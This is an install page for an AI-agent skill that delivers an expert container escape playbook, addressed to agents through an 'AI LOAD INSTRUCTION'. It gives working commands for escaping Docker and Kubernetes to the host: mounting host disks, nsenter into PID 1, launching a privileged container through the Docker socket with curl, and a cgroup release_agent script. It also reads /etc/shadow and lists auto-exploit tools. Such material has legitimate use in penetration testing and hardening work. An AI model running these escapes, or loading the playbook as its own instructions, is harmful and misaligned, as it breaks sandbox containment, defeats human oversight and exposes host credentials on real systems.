container-escape-techniques
Container escape playbook. Use when operating inside a Docker container, LXC, or Kubernetes pod and need to escape to the host via privileged mode, capabilities, Docker socket, cgroup abuse, namespace tricks, or runtime vulnerabilities.
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Install
Works with every agent the skills CLI supports.
npx skills add https://github.com/yaklang/hack-skills --skill container-escape-techniques- 01
Install
Run the command in your project. The CLI asks which agents to install for.
- 02
Describe the task
Ask your agent for something this skill covers. It loads container-escape-techniques automatically when relevant.
- 03
Review the result
The agent follows the SKILL.md steps, scripts and references bundled with the skill.
SKILL.md
The instructions your agent reads when the skill is triggered.
SKILL: Container Escape Techniques — Expert Attack Playbook
AI LOAD INSTRUCTION: Expert container escape techniques. Covers privileged container breakout, capability abuse, Docker socket exploitation, cgroup release_agent, namespace escape, runtime CVEs, and Kubernetes pod escape. Base models miss subtle escape paths via combined capabilities and cgroup manipulation.
0. RELATED ROUTING
Before going deep, consider loading:
- linux-privilege-escalation when you first need root inside the container before attempting escape
- kubernetes-pentesting for K8s-specific attack paths beyond pod escape
- linux-security-bypass when seccomp/AppArmor blocks your escape technique
Advanced Reference
Also load DOCKER_ESCAPE_CHAINS.md when you need:
- Step-by-step escape chains for common misconfigurations
- Docker-in-Docker escape scenarios
- Kubernetes-specific escape paths with full command sequences
1. AM I IN A CONTAINER?
# Quick checks
cat /proc/1/cgroup 2>/dev/null | grep -qi "docker\|kubepods\|containerd"
ls -la /.dockerenv 2>/dev/null
cat /proc/self/mountinfo | grep -i "overlay\|docker\|kubelet"
hostname # random hex = likely container
# Detailed check
cat /proc/1/status | head -5 # PID 1 is not systemd/init?
mount | grep -i "overlay" # overlay filesystem?
ip addr # veth interface? limited NICs?
Tools for Container Detection
# amicontained: shows container runtime, capabilities, seccomp
./amicontained
# deepce: Docker enumeration and exploit suggester
./deepce.sh
# CDK: all-in-one container pentesting toolkit
./cdk evaluate
2. PRIVILEGED CONTAINER ESCAPE
If --privileged flag was used, the container has nearly all host capabilities and device access.
2.1 Mount Host Filesystem
# Check if privileged
cat /proc/self/status | grep CapEff
# CapEff: 0000003fffffffff = fully privileged
# Find host disk
fdisk -l 2>/dev/null || lsblk
# Usually /dev/sda1 or /dev/vda1
# Mount host root
mkdir -p /mnt/host
mount /dev/sda1 /mnt/host
# Access host filesystem
cat /mnt/host/etc/shadow
chroot /mnt/host bash
2.2 nsenter (Enter Host Namespaces)
# From privileged container, enter host PID 1's namespaces
nsenter --target 1 --mount --uts --ipc --net --pid -- bash
# This gives a shell in the host's namespace context
# Effectively a full host shell
2.3 Privileged + Host PID Namespace
# If hostPID: true is set (Kubernetes)
# Access host processes via /proc
ls /proc/1/root/ # Host root filesystem
cat /proc/1/root/etc/shadow
# Inject into host process
nsenter --target 1 --mount -- bash
3. CAPABILITY-BASED ESCAPE
3.1 CAP_SYS_ADMIN — Most Versatile
# Check capabilities
capsh --print 2>/dev/null
grep CapEff /proc/self/status
# Escape via mounting
mkdir /tmp/cgrp && mount -t cgroup -o rdma cgroup /tmp/cgrp
# Or mount host filesystem if device access exists
mount /dev/sda1 /mnt/host 2>/dev/null
3.2 CAP_SYS_PTRACE — Process Injection
# Inject shellcode into a host process (requires host PID namespace)
# Find a root process
ps aux | grep root
# Use gdb or python-ptrace to inject
python3 << 'EOF'
import ctypes
import ctypes.util
libc = ctypes.CDLL(ctypes.util.find_library("c"))
# Attach to host process, inject shellcode
# ... (full inject_shellcode implementation)
EOF
3.3 CAP_NET_ADMIN
# Manipulate host network if host network namespace is shared
# ARP spoofing, route manipulation, traffic interception
iptables -L # Can see/modify host firewall rules?
ip route # Can modify routing?
3.4 CAP_DAC_READ_SEARCH (Shocker Exploit)
# open_by_handle_at() bypass — read files from host
# Compile and run the "shocker" exploit
# Works when DAC_READ_SEARCH capability is granted
gcc shocker.c -o shocker
./shocker /etc/shadow # Read host file
4. DOCKER SOCKET ESCAPE (/var/run/docker.sock)
ls -la /var/run/docker.sock # Check if mounted
# With Docker CLI:
docker run -v /:/host --privileged -it alpine chroot /host bash
# Without CLI (curl only) — create privileged container via API:
curl -s --unix-socket /var/run/docker.sock \
-X POST http://localhost/containers/create \
-H "Content-Type: application/json" \
-d '{"Image":"alpine","Cmd":["/bin/sh"],"Tty":true,"OpenStdin":true,
"HostConfig":{"Binds":["/:/host"],"Privileged":true}}'
# Start → Exec chroot /host bash (see DOCKER_ESCAPE_CHAINS.md for full sequence)
5. CGROUP V1 RELEASE_AGENT ESCAPE
Classic escape for containers with CAP_SYS_ADMIN + cgroup v1.
d=$(dirname $(ls -x /s*/fs/c*/*/r* | head -n1))
mkdir -p $d/w && echo 1 > $d/w/notify_on_release
host_path=$(sed -n 's/.*\bperdir=\([^,]*\).*/\1/p' /etc/mtab)
echo "$host_path/cmd" > $d/release_agent
cat > /cmd << 'EOF'
#!/bin/sh
cat /etc/shadow > /output 2>&1 # Or: reverse shell
EOF
chmod +x /cmd
sh -c "echo \$\$ > $d/w/cgroup.procs" && sleep 1
cat /output
6. CGROUP V2 / eBPF ESCAPE
# Cgroup v2: no release_agent file
# Check cgroup version:
mount | grep cgroup
# cgroup2 → v2
# eBPF-based escape (requires CAP_SYS_ADMIN + CAP_BPF or equivalent)
# Kernel ≥ 5.8 with unprivileged eBPF enabled
cat /proc/sys/kernel/unprivileged_bpf_disabled
# 0 = eBPF available to unprivileged users
7. NAMESPACE ESCAPE
User Namespace
# If user namespace creation is allowed inside container:
unshare -U --map-root-user bash
# Now "root" inside new namespace
# Combined with other capabilities → mount host filesystem
PID Namespace Escape
# If hostPID: true (shared PID namespace with host)
# Access host processes directly:
ls /proc/1/root/ # Host's root filesystem
cat /proc/1/root/etc/shadow
# Inject into host process:
nsenter -t 1 -m -u -i -n -p -- bash
8. RUNTIME VULNERABILITIES
runc CVE-2019-5736
Overwrites host runc binary when docker exec is used.
# Conditions: docker exec into a malicious container triggers exploit
# The container's /bin/sh is replaced with exploit binary
# When next exec happens → overwrites /usr/bin/runc on host
# PoC: modify entrypoint to overwrite runc
# This is a one-shot exploit — runc is replaced permanently
containerd CVE-2020-15257
# Host network namespace shared + containerd < 1.3.9 / 1.4.3
# Abstract Unix socket accessible from container
# Connect to containerd shim API via @/containerd-shim/*.sock
cgroups CVE-2022-0492
# Unpatched kernel allows cgroup escape without CAP_SYS_ADMIN
# release_agent writable by unprivileged user in container
9. KUBERNETES POD ESCAPE
| Dangerous Pod Spec | Escape |
|---|---|
hostPID: true | nsenter -t 1 -m -u -i -n -p -- bash |
hostNetwork: true | Access node services (Kubelet, etcd) directly |
hostPath: {path: /} | chroot /host bash |
privileged: true | Mount host disk / nsenter |
| SA token with RBAC | Create new privileged pod via API |
See kubernetes-pentesting for full K8s attack paths.
10. TOOLS
| Tool | Purpose | URL/Command |
|---|---|---|
| deepce | Docker enumeration + exploit suggestions | ./deepce.sh |
| CDK | Container/K8s exploitation toolkit | ./cdk evaluate |
| amicontained | Show container runtime, caps, seccomp | ./amicontained |
| PEIRATES | Kubernetes penetration testing | ./peirates |
| BOtB | Break out the Box — auto-escape | ./botb -autopwn |
11. CONTAINER ESCAPE DECISION TREE
Inside a container?
│
├── Privileged mode? (CapEff = 0000003fffffffff)
│ ├── Yes → mount host disk (§2.1) or nsenter (§2.2)
│ └── Partial capabilities? Check each:
│ ├── CAP_SYS_ADMIN → cgroup release_agent (§5) or mount (§3.1)
│ ├── CAP_SYS_PTRACE + hostPID → process injection (§3.2)
│ ├── CAP_DAC_READ_SEARCH → shocker exploit (§3.4)
│ └── CAP_NET_ADMIN + hostNetwork → network manipulation (§3.3)
│
├── Docker socket mounted? (/var/run/docker.sock)
│ └── Yes → create privileged container (§4)
│
├── Host PID namespace shared?
│ └── Yes → nsenter -t 1 or /proc/1/root access (§7)
│
├── Cgroup v1?
│ └── + CAP_SYS_ADMIN → release_agent escape (§5)
│
├── Runtime vulnerable?
│ ├── runc < 1.0.0-rc6 → CVE-2019-5736 (§8)
│ └── containerd < 1.3.9 → CVE-2020-15257 (§8)
│
├── Kernel vulnerable?
│ └── Check KERNEL_EXPLOITS_CHECKLIST in linux-privilege-escalation
│
├── Kubernetes pod?
│ ├── Service account with elevated RBAC? → create escape pod (§9)
│ └── hostPath volume? → access host filesystem
│
└── None of the above?
├── Run deepce/CDK for automated detection
├── Check for writable host mount points
├── Enumerate network for other containers/services
└── Check /proc/self/mountinfo for interesting mounts
FAQ
What does the container-escape-techniques skill do?
Container escape playbook. Use when operating inside a Docker container, LXC, or Kubernetes pod and need to escape to the host via privileged mode, capabilities, Docker socket, cgroup abuse, namespace tricks, or runtime vulnerabilities.
How do I install container-escape-techniques?
Run npx skills add https://github.com/yaklang/hack-skills --skill container-escape-techniques in your project. The skills CLI detects the agents you use and copies the skill into the right folder. For Claude Code you can also place the skill folder at ~/.claude/skills/container-escape-techniques/ (personal) or .claude/skills/container-escape-techniques/ (project).
Which AI agents can use container-escape-techniques?
Any agent that supports the open Agent Skills format (a folder with a SKILL.md file), including Claude Code, Codex, Cursor, GitHub Copilot, Gemini CLI, Windsurf, Cline, OpenCode and more.
Is container-escape-techniques safe to install?
No partner security audit is available yet. Skills can run commands and scripts, so read the SKILL.md and any bundled files before installing.
Who maintains container-escape-techniques?
It is published by yaklang in yaklang/hack-skills. It has 3,568 recorded installs.
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